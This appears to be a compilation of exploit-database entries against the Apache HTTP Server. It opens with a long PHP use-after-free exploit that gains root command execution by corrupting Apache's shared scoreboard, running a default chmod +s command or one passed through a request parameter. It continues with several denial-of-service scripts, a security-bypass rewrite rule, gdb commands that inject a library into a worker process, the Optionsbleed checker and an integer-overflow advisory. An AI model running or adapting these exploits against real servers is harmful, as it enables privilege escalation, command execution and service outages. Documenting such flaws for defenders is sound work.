		# After the UAF is triggered on the object, all the structures that are
		# used to represent it will be marked as free.
		# If we create other variables afterwards, those variables might be
		# allocated in the object's previous memory regions, which might pose
		# problems for the rest of the exploitation.
		# To avoid this, we allocate a lot of objects before the UAF, and free
		# them afterwards. Since PHP's heap is LIFO, when we create other vars,
		# they will take the place of those objects instead of the object we
		# are triggering the UAF on. This means our object is "shielded" and
		# we don't have to worry about breaking it.
		$room = [];
		for($i=0;$i<10;$i++)
			$room[] = new Z();

		# Build string meant to fill old DateInterval's timelib_rel_time
		# I: ptr2str's name is unintuitive here: we just want to allocate a
		# zend_string of size 78.
		$_protector = ptr2str(0, 78);

		o('  Allocating $abc and $p');

		# Create ABC
		# I: This is the variable we will use to R/W memory afterwards.
		# After we free the Z object, we'll make sure abc is overwritten by a
		# timelib_rel_time structure under our control. The first 8*8 = 64 bytes
		# of this structure can be modified easily, meaning we can change the
		# size of abc. This will allow us to read/write memory after abc.
		$this->abc = ptr2str(0, 79);

		# Create $p meant to protect $this's blocks
		# I: Right after we trigger the UAF, we will unset $p.
		# This means that the timelib_rel_time structure (TRT) of this object
		# will be freed. We will then allocate a string ($protector) of the same
		# size as TRT. Since PHP's heap is LIFO, the string will take the place
		# of the now-freed TRT in memory.
		# Then, we create a new DateInterval object ($x). From the same
		# assumption, every structure constituting this new object will take the
		# place of the previous structure. Nevertheless, since TRT's memory
		# block has already been replaced by $protector, the new TRT will be put
		# in the next free blocks of the same size, which happens to be $abc
		# (remember, |abc| == |timelib_rel_time|).
		# We now have the following situation: $x is a DateInterval object whose
		# internal TRT structure has the same address as $abc's zend_string.
		$p = new DateInterval('PT1S');

		#
		# Trigger UAF
		#
		
		o('  Unsetting both variables and setting $protector');
		# UAF here, $this is usable despite being freed
		unset($y[0]);
		# Protect $this's freed blocks
		unset($p);

		# Protect $p's timelib_rel_time structure
		$protector = ".$_protector";
		# !!! This is only required for apache
		# Got no idea as to why there is an extra deallocation (?)
		$room[] = "!$_protector";

		o('  Creating DateInterval object');
		# After this line:
		# &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
		# We can control the structure of $this->abc and therefore read/write
		# anything that comes after it in memory by changing its size and
		# making in-place edits using $this->abc[$position] = $char
		$x = new DateInterval('PT1S');
		# zend_string.refcount = 0
		# It will get incremented at some point, and if it is > 1,
		# zend_assign_to_string_offset() will try to duplicate it before making
		# the in-place replacement
		$x->y = 0x00;
		# zend_string.len
		$x->d = 0x100;
		# zend_string.val[0-4]
		$x->h = 0x13121110;

		# Verify UAF was successful
		# We modified stuff via $x; they should be visible by $this->abc, since
		# they are at the same memory location.
		if(!(
			strlen($this->abc) === $x->d &&
			$this->abc[0] == "\x10" &&
			$this->abc[1] == "\x11" &&
			$this->abc[2] == "\x12" &&
			$this->abc[3] == "\x13"
		))
		{
			o('UAF failed, exiting.');
			exit();
		}
		o('UAF successful.');
		o('');

		# Give us some room
		# I: As indicated before, just unset a lot of stuff so that next allocs
		# don't break our fragile UAFd structure.
		unset($room);

		#
		# Setup the R/W primitive
		#

		# We control $abc's internal zend_string structure, therefore we can R/W
		# the shared memory block (SHM), but for that we need to know the
		# position of $abc in memory
		# I: We know the absolute position of the SHM, so we need to need abc's
		# as well, otherwise we cannot compute the offset

		# Assuming the allocation was contiguous, memory looks like this, with
		# 0x70-sized fastbins:
		# 	[zend_string:abc]
		# 	[zend_string:protector]
		# 	[FREE#1]
		# 	[FREE#2]
		# Therefore, the address of the 2nd free block is in the first 8 bytes
		# of the first block: 0x70 * 2 - 24
		$address = str2ptr($this->abc, 0x70 * 2 - 24);
		# The address we got points to FREE#2, hence we're |block| * 3 higher in
		# memory
		$address = $address - 0x70 * 3;
		# The beginning of the string is 24 bytes after its origin
		$address = $address + 24;
		o('Address of $abc: 0x' . dechex($address));
		o('');

		# Compute the size required for our string to include the whole SHM and
		# apache's memory region
		$distance = 
			max($addresses['apache'][1], $addresses['shm'][1]) -
			$address
		;
		$x->d = $distance;

		# We can now read/write in the whole SHM and apache's memory region.

		#
		# Find all_buckets in memory
		#

		# We are looking for a structure s.t.
		# |all_buckets, mutex| = 0x10
		# |mutex, meth| = 0x8
		# all_buckets is in apache's memory region
		# mutex is in apache's memory region
		# meth is in libaprR's memory region
		# meth's function pointers are in libaprX's memory region
		o('Looking for all_buckets in memory');
		$all_buckets = 0;

		for(
			$i = $addresses['apache'][0] + 0x10;
			$i < $addresses['apache'][1] - 0x08;
			$i += 8
		)
		{
			# mutex
			$mutex = $pointer = str2ptr($this->abc, $i - $address);
			if(!in($pointer, $addresses['apache']))
				continue;


			# meth
			$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
			if(!in($pointer, $addresses['libaprR']))
				continue;

			o('  [&mutex]: 0x' . dechex($i));
			o('    [mutex]: 0x' . dechex($mutex));
			o('      [meth]: 0x' . dechex($meth));


			# meth->*
			# flags
			if(str2ptr($this->abc, $pointer - $address) != 0)
				continue;
			# methods
			for($j=0;$j<7;$j++)
			{
				$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
				if(!in($m, $addresses['libaprX']))
					continue 2;
				o('        [*]: 0x' . dechex($m));
			}

			$all_buckets = $i - 0x10;
			o('all_buckets = 0x' . dechex($all_buckets));
			break;
		}

		if(!$all_buckets)
		{
			o('Unable to find all_buckets');
			exit();
		}

		o('');

		# The address of all_buckets will change when apache is gracefully
		# restarted. This is a problem because we need to know all_buckets's
		# address in order to make all_buckets[some_index] point to a memory
		# region we control.

		#
		# Compute potential bucket indexes and their addresses
		#

        o('Computing potential bucket indexes and addresses');

		# Since we have sizeof($workers_pid) MPM workers, we can fill the rest
		# of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
		# with data we like. We keep the one at the top to store our payload.
		# The rest is sprayed with the address of our payload.

		$size_prefork_child_bucket = 24;
		$size_worker_score = 264;
		# I get strange errors if I use every "free" item, so I leave twice as
		# many items free. I'm guessing upon startup some
		$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
		$spray_max = $addresses['shm'][1];
		$spray_min = $spray_max - $spray_size;

		$spray_middle = (int) (($spray_min + $spray_max) / 2);
		$bucket_index_middle = (int) (
			- ($all_buckets - $spray_middle) /
			$size_prefork_child_bucket
		);

		#
		# Build payload
		#

		# A worker_score structure was kept empty to put our payload in
		$payload_start = $spray_min - $size_worker_score;

		$z = ptr2str(0);

    	# Payload maxsize 264 - 112 = 152
		# Offset 8 cannot be 0, but other than this you can type whatever
		# command you want
    	$bucket = isset($_REQUEST['cmd']) ?
    		$_REQUEST['cmd'] :
    		"chmod +s /usr/bin/python3.5";

    	if(strlen($bucket) > $size_worker_score - 112)
		{
			o(
				'Payload size is bigger than available space (' .
				($size_worker_score - 112) .
				'), exiting.'
			);
			exit();
		}
    	# Align
    	$bucket = str_pad($bucket, $size_worker_score - 112, "\x00");

    	# apr_proc_mutex_unix_lock_methods_t
		$meth = 
		    $z .
		    $z .
		    $z .
		    $z .
		    $z .
		    $z .
			# child_init
		    ptr2str($addresses['zend_object_std_dtor'])
		;

		# The second pointer points to meth, and is used before reaching the
		# arbitrary function call
		# The third one and the last one are both used by the function call
		# zend_object_std_dtor(object) => ... => system(&arData[0]->val)
		$properties = 
			# refcount
			ptr2str(1) .
			# u-nTableMask meth
			ptr2str($payload_start + strlen($bucket)) .
			# Bucket arData
			ptr2str($payload_start) .
			# uint32_t nNumUsed;
			ptr2str(1, 4) .
		    # uint32_t nNumOfElements;
			ptr2str(0, 4) .
			# uint32_t nTableSize
			ptr2str(0, 4) .
			# uint32_t nInternalPointer
			ptr2str(0, 4) .
			# zend_long nNextFreeElement
			$z .
			# dtor_func_t pDestructor
			ptr2str($addresses['system'])
		;

		$payload =
			$bucket .
			$meth .
			$properties
		;

		# Write the payload

		o('Placing payload at address 0x' . dechex($payload_start));

		$p = $payload_start - $address;
		for(
			$i = 0;
			$i < strlen($payload);
			$i++
		)
		{
			$this->abc[$p+$i] = $payload[$i];
		}

		# Fill the spray area with a pointer to properties
		
		$properties_address = $payload_start + strlen($bucket) + strlen($meth);
		o('Spraying pointer');
		o('  Address: 0x' . dechex($properties_address));
		o('  From: 0x' . dechex($spray_min));
		o('  To: 0x' . dechex($spray_max));
		o('  Size: 0x' . dechex($spray_size));
		o('  Covered: 0x' . dechex($spray_size * count($workers_pids)));
		o('  Apache: 0x' . dechex(
			$addresses['apache'][1] -
			$addresses['apache'][0]
		));

		$s_properties_address = ptr2str($properties_address);

		for(
			$i = $spray_min;
			$i < $spray_max;
			$i++
		)
		{
			$this->abc[$i - $address] = $s_properties_address[$i % 8];
		}
		o('');

		# Find workers PID in the SHM: it indicates the beginning of their
		# process_score structure. We can then change process_score.bucket to
		# the index we computed. When apache reboots, it will use
		# all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
		# which means we control the whole apr_proc_mutex_t structure.
		# This structure contains pointers to multiple functions, especially
		# mutex->meth->child_init(), which will be called before privileges
		# are dropped.
		# We do this for every worker PID, incrementing the bucket index so that
		# we cover a bigger range.
		
		o('Iterating in SHM to find PIDs...');

		# Number of bucket indexes covered by our spray
		$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
		# Number of bucket indexes covered by our spray and the PS structures
		$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
		# First bucket index to handle
		$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);

		# Iterate over every process_score structure until we find every PID or
		# we reach the end of the SHM
		for(
			$p = $addresses['shm'][0] + 0x20;
			$p < $addresses['shm'][1] && count($workers_pids) > 0;
			$p += 0x24
		)
		{
			$l = $p - $address;
			$current_pid = str2ptr($this->abc, $l, 4);
			o('Got PID: ' . $current_pid);
			# The PID matches one of the workers
			if(in_array($current_pid, $workers_pids))
			{
				unset($workers_pids[$current_pid]);
				o('  PID matches');
				# Update bucket address
				$s_bucket_index = pack('l', $bucket_index);
				$this->abc[$l + 0x20] = $s_bucket_index[0];
				$this->abc[$l + 0x21] = $s_bucket_index[1];
				$this->abc[$l + 0x22] = $s_bucket_index[2];
				$this->abc[$l + 0x23] = $s_bucket_index[3];
				o('  Changed bucket value to ' . $bucket_index);
				$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
				$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
				o('  Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
				# This bucket range is covered, go to the next one
				$bucket_index += $spray_nb_buckets;
			}
		}

		if(count($workers_pids) > 0)
		{
			o(
				'Unable to find PIDs ' .
				implode(', ', $workers_pids) .
				' in SHM, exiting.'
			);
			exit();
		}

		o('');
		o('EXPLOIT SUCCESSFUL.');
		o('Await 6:25AM.');
		
		return 0;
	}
}

function o($msg)
{
	# No concatenation -> no string allocation
	print($msg);
	print("\n");
}

function ptr2str($ptr, $m=8)
{
	$out = "";
    for ($i=0; $i<$m; $i++)
    {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

function str2ptr(&$str, $p, $s=8)
{
	$address = 0;
	for($j=$s-1;$j>=0;$j--)
	{
		$address <<= 8;
		$address |= ord($str[$p+$j]);
	}
	return $address;
}

function in($i, $range)
{
	return $i >= $range[0] && $i < $range[1];
}

/**
 * Finds the offset of a symbol in a file.
 */
function find_symbol($file, $symbol)
{
    $elf = file_get_contents($file);
    $e_shoff = str2ptr($elf, 0x28);
    $e_shentsize = str2ptr($elf, 0x3a, 2);
    $e_shnum = str2ptr($elf, 0x3c, 2);

    $dynsym_off = 0;
    $dynsym_sz = 0;
    $dynstr_off = 0;

    for($i=0;$i<$e_shnum;$i++)
    {
        $offset = $e_shoff + $i * $e_shentsize;
        $sh_type = str2ptr($elf, $offset + 0x04, 4);

        $SHT_DYNSYM = 11;
        $SHT_SYMTAB = 2;
        $SHT_STRTAB = 3;

        switch($sh_type)
        {
            case $SHT_DYNSYM:
                $dynsym_off = str2ptr($elf, $offset + 0x18, 8);
                $dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
                break;
            case $SHT_STRTAB:
            case $SHT_SYMTAB:
                if(!$dynstr_off)
                    $dynstr_off = str2ptr($elf, $offset + 0x18, 8);
                break;
        }

    }

    if(!($dynsym_off && $dynsym_sz && $dynstr_off))
        exit('.');

    $sizeof_Elf64_Sym = 0x18;

    for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
    {
        $offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
        $st_name = str2ptr($elf, $offset, 4);
        
        if(!$st_name)
            continue;
        
        $offset_string = $dynstr_off + $st_name;
        $end = strpos($elf, "\x00", $offset_string) - $offset_string;
        $string = substr($elf, $offset_string, $end);

        if($string == $symbol)
        {
            $st_value = str2ptr($elf, $offset + 0x8, 8);
            return $st_value;
        }
    }

    die('Unable to find symbol ' . $symbol);
}

# Obtains the addresses of the shared memory block and some functions through 
# /proc/self/maps
# This is hacky as hell.
function get_all_addresses()
{
	$addresses = [];
	$data = file_get_contents('/proc/self/maps');
	$follows_shm = false;

	foreach(explode("\n", $data) as $line)
	{
		if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
		{
            $line = explode(' ', $line)[0];
            $bounds = array_map('hexdec', explode('-', $line));
            if ($bounds[1] - $bounds[0] == 0x14000)
            {
                $addresses['shm'] = $bounds;
                $follows_shm = true;
            }
        }
		if(
			preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
			strpos($line, 'r-xp')
		)
		{
			$offset = find_symbol($matches[1], 'system');
			$line = explode(' ', $line)[0];
			$line = hexdec(explode('-', $line)[0]);
			$addresses['system'] = $line + $offset;
		}
		if(
			strpos($line, 'libapr-1.so') &&
			strpos($line, 'r-xp')
		)
		{
			$line = explode(' ', $line)[0];
			$bounds = array_map('hexdec', explode('-', $line));
			$addresses['libaprX'] = $bounds;
		}
		if(
			strpos($line, 'libapr-1.so') &&
			strpos($line, 'r--p')
		)
		{
			$line = explode(' ', $line)[0];
			$bounds = array_map('hexdec', explode('-', $line));
			$addresses['libaprR'] = $bounds;
		}
		# Apache's memory block is between the SHM and ld.so
		# Sometimes some rwx region gets mapped; all_buckets cannot be in there
		# but we include it anyways for the sake of simplicity
		if(
			(
				strpos($line, 'rw-p') ||
				strpos($line, 'rwxp')
			) &&
            $follows_shm
		)
		{
            if(strpos($line, '/lib'))
            {
                $follows_shm = false;
                continue;
            }
			$line = explode(' ', $line)[0];
			$bounds = array_map('hexdec', explode('-', $line));
			if(!array_key_exists('apache', $addresses))
			    $addresses['apache'] = $bounds;
			else if($addresses['apache'][1] == $bounds[0])
                $addresses['apache'][1] = $bounds[1];
			else
                $follows_shm = false;
		}
		if(
			preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
			strpos($line, 'r-xp')
		)
		{
			$offset = find_symbol($matches[1], 'zend_object_std_dtor');
			$line = explode(' ', $line)[0];
			$line = hexdec(explode('-', $line)[0]);
			$addresses['zend_object_std_dtor'] = $line + $offset;
		}
	}

	$expected = [
		'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
	];
	$missing = array_diff($expected, array_keys($addresses));

	if($missing)
	{
		o(
			'The following addresses were not determined by parsing ' .
			'/proc/self/maps: ' . implode(', ', $missing)
		);
		exit(0);
	}


	o('PID: ' . getmypid());
	o('Fetching addresses');

	foreach($addresses as $k => $a)
	{
		if(!is_array($a))
			$a = [$a];
		o('  ' . $k . ': ' . implode('-0x', array_map(function($z) {
				return '0x' . dechex($z);
		}, $a)));
	}
	o('');

	return $addresses;
}

# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
# matching the cmdline and the UID
function get_workers_pids()
{
	o('Obtaining apache workers PIDs');
	$pids = [];
	$cmd = file_get_contents('/proc/self/cmdline');
	$processes = glob('/proc/*');
	foreach($processes as $process)
	{
		if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
			continue;
		$pid = (int) $match[1];
		if(
			!is_readable($process . '/cmdline') ||
			!is_readable($process . '/status')
		)
			continue;
		if($cmd !== file_get_contents($process . '/cmdline'))
			continue;

		$status = file_get_contents($process . '/status');
		foreach(explode("\n", $status) as $line)
		{
			if(
				strpos($line, 'Uid:') === 0 &&
				preg_match('#\b' . posix_getuid() . '\b#', $line)
			)
			{
				o('  Found apache worker: ' . $pid);
				$pids[$pid] = $pid;
				break;
			}

		}
	}
	
	o('Got ' . sizeof($pids) . ' PIDs.');
	o('');

	return $pids;
}

$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
            
# Exploit Title: Apache 2.4.17 - Denial of Service
# Date: 17/12/2015
# Exploit Author: rUnVirus [ Ahmed Atif]
# Vendor Homepage: www.apache.org
# Software Link: https://www.apachefriends.org/download.html/
# Version: 5.5.30
# Tested on: windows 7 - XAMPP Version 5.5.30 (Apache 2.4.17 - PHP 5.5.30) 


<?php

$s="<?php

//!*runvirus:start*!";

$s2="!*runvirus:end*! ?>";


 
$shellcode= 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

";
 
$egg = $s.$shellcode.$s2;



$content = preg_replace(
  '%//!\*runvirus:start\*!(.)+!\*runvirus:end\*!%s',
  'test',
  $egg
);

echo 'If you can see this everything seems to be working fine.';

?> 		 	   		  
            
source: https://www.securityfocus.com/bid/51869/info

Apache HTTP Server is prone to a security-bypass vulnerability.

Successful exploits will allow attackers to bypass certain security restrictions and obtain sensitive information about running web applications. 

RewriteRule ^(.*) http://www.example.com$1
ProxyPassMatch ^(.*) http://www.example.com$1 
            
Source: http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/

## Introduction

Apache 2.2 webservers may use a shared memory segment to share child process status information (scoreboard) between the child processes and the parent process running as root. A child running with lower privileges than the parent process might trigger an invalid free in the privileged parent process during parent shutdown by modifying data on the shared memory segment.

## Method

A child process can trigger the bug by changing the value of ap_scoreboard_e sb_type, which resides in the global_score structure on the shared memory segment. The value is usually 2 (SB_SHARED):

typedef struct {
    int             server_limit;
    int             thread_limit;
    ap_scoreboard_e sb_type;
    ap_generation_t running_generation; /* the generation of children which
                                         * should still be serving requests.
                                         */
    apr_time_t restart_time;
    int             lb_limit;
} global_score;

When changing the scoreboard type of a shared memory segment to something else, the root process will try to release the shared memory using free during normal shutdown. Since the memory was allocated using mmap, not malloc, the call to free from ap_cleanup_scoreboard (server/scoreboard.c) triggers abort within libc.

apr_status_t ap_cleanup_scoreboard(void *d)
{
    if (ap_scoreboard_image == NULL) {
        return APR_SUCCESS;
    }
    if (ap_scoreboard_image->global->sb_type == SB_SHARED) {
        ap_cleanup_shared_mem(NULL);
    }
    else {
        free(ap_scoreboard_image->global);
        free(ap_scoreboard_image);
        ap_scoreboard_image = NULL;
    }
    return APR_SUCCESS;
}

Abort output is written to apache default error log:

[Fri Dec 30 10:19:57 2011] [notice] caught SIGTERM, shutting down
*** glibc detected *** /usr/sbin/apache2: free(): invalid pointer: 0xb76f4008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6ebc2)[0x17ebc2]
/lib/i386-linux-gnu/libc.so.6(+0x6f862)[0x17f862]
/lib/i386-linux-gnu/libc.so.6(cfree+0x6d)[0x18294d]
/usr/sbin/apache2(ap_cleanup_scoreboard+0x29)[0xa57519]
/usr/lib/libapr-1.so.0(+0x19846)[0x545846]
/usr/lib/libapr-1.so.0(apr_pool_destroy+0x52)[0x5449ec]
/usr/sbin/apache2(+0x1f063)[0xa52063]
/usr/sbin/apache2(main+0xeea)[0xa51e3a]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x129113]
/usr/sbin/apache2(+0x1ef3d)[0xa51f3d]
======= Memory map: ========
00110000-00286000 r-xp 00000000 08:01 132367

To reproduce, attach to a www-data (non-root) child process and increment the value at offset 0x10 in the shared memory segment. The search and replace can also be accomplished by compiling LibScoreboardTest.c (http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/LibScoreboardTest.c) and loading it into a child process using gdb --pid [childpid] and following commands:

set *(int*)($esp+4)="/var/www/libExploit.so"
set *(int*)($esp+8)=1
set $eip=*__libc_dlopen_mode
continue

Without gdb, the mod_setenv exploit demo (2nd attempt) (http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.html) could be used to load the code.


--- LibScoreboardTest.c ---
/** gcc -Wall -c LibScoreboardTest.c
 *  ld -shared -Bdynamic LibScoreboardTest.o -L/lib -lc -o LibScoreboardTest.so
 */

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

extern void _init() {
  int	fd=-1, pos;
  char	mmapData[1<<16];
  int	mmapDataLen;
  char	str[1024];

  char*	sharedSegStart=NULL;
  char* sharedSegEnd=NULL;
  int	sharedSegLen;
  int	result;

  fd=open("/proc/self/maps", O_RDONLY);
  mmapDataLen=0;
  while((result=read(fd, mmapData+mmapDataLen, sizeof(mmapData)-mmapDataLen))>0) mmapDataLen+=result;
  close(fd);

  fd=open("/tmp/testlog", O_RDWR|O_CREAT, 0777);
  result=sprintf(str, "Read %d\n", mmapDataLen);
  write(fd, str, result);
  write(fd, mmapData, mmapDataLen);

  for(pos=0; pos<mmapDataLen;) {
    result=sscanf(mmapData+pos, "%8x-%8x rw-s %8x ",
        (int*)&sharedSegStart, (int*)&sharedSegEnd, &result);
    if(result==3) break;
    while((pos<mmapDataLen)&&(mmapData[pos]!='\n')) pos++;
    if(pos==mmapDataLen) break;
    pos++;
  }
  result=sprintf(str, "Shared seg data 0x%x-0x%x\n", (int)sharedSegStart,
      (int)sharedSegEnd);
  write(fd, str, result);

  if(pos==mmapDataLen) return;

// Set ap_scoreboard_e sb_type=3
  *(int*)(sharedSegStart+0x10)=3;
  exit(0);
}
--- EOF --
            
source: https://www.securityfocus.com/bid/47820/info

Apache APR is prone to a vulnerability that may allow attackers to cause a denial-of-service condition.

Apache APR versions prior to 1.4.4 are vulnerable. 

<?php
/*
Apache 2.2.17 mod_autoindex local/remote Denial of Service
author: Maksymilian Arciemowicz

CVE: CVE-2011-0419
CWE: CWE-399

REMOTE
Find some directory with supported mod_autoindex on the server. The directory should contain long filenames.

http://[server]/[directory_with_mod_autoindex]/?P=*?*?*?[to 4k]

LOCAL
Tested on:
127# httpd -v && uname -a 
Server version: Apache/2.2.17 (Unix)
Server built:   Dec 28 2010 13:21:44
NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov  7 14:39:56 UTC 2010  builds@b6.netbsd.org:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386

Result:
127# ls -la   
total 8
drwxrwxrwx  2 root  wheel   512 Feb  8 21:41 .
drwxr-xr-x  7 www   wheel  1024 Jan 31 08:49 ..
-rw-r--r--  1 www   wheel  1056 Feb  8 19:39 .htaccess
-rw-r--r--  1 www   wheel     0 Feb  8 19:39 cx.............................................................................................................................
-rw-r--r--  1 www   wheel  1240 Feb  8 19:42 run.php
127# ps -aux -p 617 
USER PID %CPU %MEM   VSZ  RSS TTY STAT STARTED      TIME COMMAND
www  617 98.6  0.4 10028 4004 ?   R     7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start 

Time = 121:43 and counting

where http://[$localhost]:[$localport]/[$localuri]
*/
$localhost="localhost";
$localport=80;
$localuri="/koniec/";


if(!is_writable(".")) die("!writable");

// Phase 1
// Create some filename
touch("cx".str_repeat(".",125));

// Phase 2
// Create .htaccess with 
unlink("./.htaccess");
$htaccess=fopen("./.htaccess", "a");
fwrite($htaccess,"AddDescription \"CVE-2011-0419\" ".str_repeat('*.',512)."\n");
fclose($htaccess);

// Phase 3
// Local connect (bypass firewall restriction)
while(1){
	$fp = fsockopen($localhost, $localport, $errno, $errstr, 30);
	if (!$fp) echo "$errstr ($errno)<br />\n";
	else {
		$out = "GET ".$localuri."/?P=".str_repeat("*?",1500)."* HTTP/1.1\r\n";
		$out .= "Host: ".$localhost."\r\n";
		$out .= "Connection: Close\r\n\r\n";
		fwrite($fp, $out);
		fclose($fp);
	}
}

?>
            
#!/usr/bin/env python3

# Optionsbleed proof of concept test
# by Hanno Böck

import argparse
import urllib3
import re


def test_bleed(url, args):
    r = pool.request('OPTIONS', url)
    try:
        allow = str(r.headers["Allow"])
    except KeyError:
        return False
    if allow in dup:
        return
    dup.append(allow)
    if allow == "":
        print("[empty] %s" % (url))
    elif re.match("^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$", allow):
        z = [x.strip() for x in allow.split(',')]
        if len(z) > len(set(z)):
            print("[duplicates] %s: %s" % (url, repr(allow)))
        elif args.all:
            print("[ok] %s: %s" % (url, repr(allow)))
    elif re.match("^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$", allow):
        print("[spaces] %s: %s" % (url, repr(allow)))
    else:
        print("[bleed] %s: %s" % (url, repr(allow)))
    return True


parser = argparse.ArgumentParser(
         description='Check for the Optionsbleed vulnerability (CVE-2017-9798).',
         epilog="Tests server for Optionsbleed bug and other bugs in the allow header.\n\n"
         "Autmatically checks http://, https://, http://www. and https://www. -\n"
         "except if you pass -u/--url (which means by default we check 40 times.)\n\n"
         "Explanation of results:\n"
         "[bleed] corrupted header found, vulnerable\n"
         "[empty] empty allow header, does not make sense\n"
         "[spaces] space-separated method list (should be comma-separated)\n"
         "[duplicates] duplicates in list (may be apache bug 61207)\n"
         "[ok] normal list found (only shown with -a/--all)\n",
         formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('hosttocheck',  action='store',
                    help='The hostname you want to test against')
parser.add_argument('-n', nargs=1, type=int, default=[10],
                    help='number of tests (default 10)')
parser.add_argument("-a", "--all", action="store_true",
                    help="show headers from hosts without problems")
parser.add_argument("-u", "--url", action='store_true',
                    help="pass URL instead of hostname")
args = parser.parse_args()
howoften = int(args.n[0])

dup = []

# Note: This disables warnings about the lack of certificate verification.
# Usually this is a bad idea, but for this tool we want to find vulnerabilities
# even if they are shipped with invalid certificates.
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

pool = urllib3.PoolManager(10, cert_reqs='CERT_NONE')

if args.url:
    test_bleed(args.hosttocheck, args)
else:
    for prefix in ['http://', 'http://www.', 'https://', 'https://www.']:
        for i in range(howoften):
            try:
                if test_bleed(prefix+args.hosttocheck, args) is False:
                    break
            except Exception as e:
                pass
            
Source: http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/

## Background

The Apache HTTP Server is an open-source HTTP server for modern operating systems including UNIX, Microsoft Windows, Mac OS/X and Netware. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services observing the current HTTP standards. Apache has been the most popular web server on the Internet since April of 1996.

## Problem Description

During routine testing, an integer overflow was found in apache2-mpm-worker 2.2.19 in the function ap_pregsub called from mod-setenvif. The issue affects all versions from 2.0.x to 2.0.64 and 2.2.x to 2.2.21, not depending on the mode of operation (worker, prefork, ..). When a header field is mangled using SetEnvIf, the new environment variable data can be multiples of the size of the submitted header field. When ap_pregsub from server/util.c calculates the buffer size using

        else if (no < nmatch && pmatch[no].rm_so < pmatch[no].rm_eo) {
            len += pmatch[no].rm_eo - pmatch[no].rm_so;
        }

the length value overflows and is used in a subsequent allocation call of buffer too small:


    dest = dst = apr_pcalloc(p, len + 1);

The subsequent filling of the buffer with user-supplied data leads to buffer overflow. Even without overflowing, the allocation of significant amounts of server memory for excessivly large environment variables should be considered a problem also.

## Impact

Depending on the input data, exploitation of this issue leads to:

- allocation of large quantities of server memory, killing processes due to out-of-memory conditions or reducing system performance to crawl due to massive swapping.
- invalid memory access when copying more than 4GB of data into the much smaller buffer. Since the loop copying the data uses only stack and libc-heap, not the apr pool, for source and destination addresses, copy process is linear, starting at low address and pool is separated by unaccessible memory pages for protection on linux. Usually this will only cause termination of the apache process, which is restarted automatically. The impact is increased system load and DOS-condition while under attack.
- At least with multi-threaded server (worker), arbitrary code execution is proven, on single-threaded varians, the use of crafted stop-sequences might allow code execution even on these systems. On many systems ASLR will reduce the efficiency of the attack, but even with ASLR enabled, the automatic restart of processes allows to probe for all possible mappings of libc. An attacker, that has already access to another account on the machen, might be able to use ApacheNoFollowSymlinkTimerace to learn the memory map of the process, thus having the posibility to reach nearly 100% efficiency.

To trigger this issue, mod_setenvif must be enabled and the attacker has to be able to place a crafted .htaccess file on the server. Since the triggering of the exploit might depend on a magic header field, the malicious .htaccess might be placed as backdoor in web-content .zip files or could be stored dormant on the server until activation by the corresponding magic request.






Source: http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.html

## Starting Point

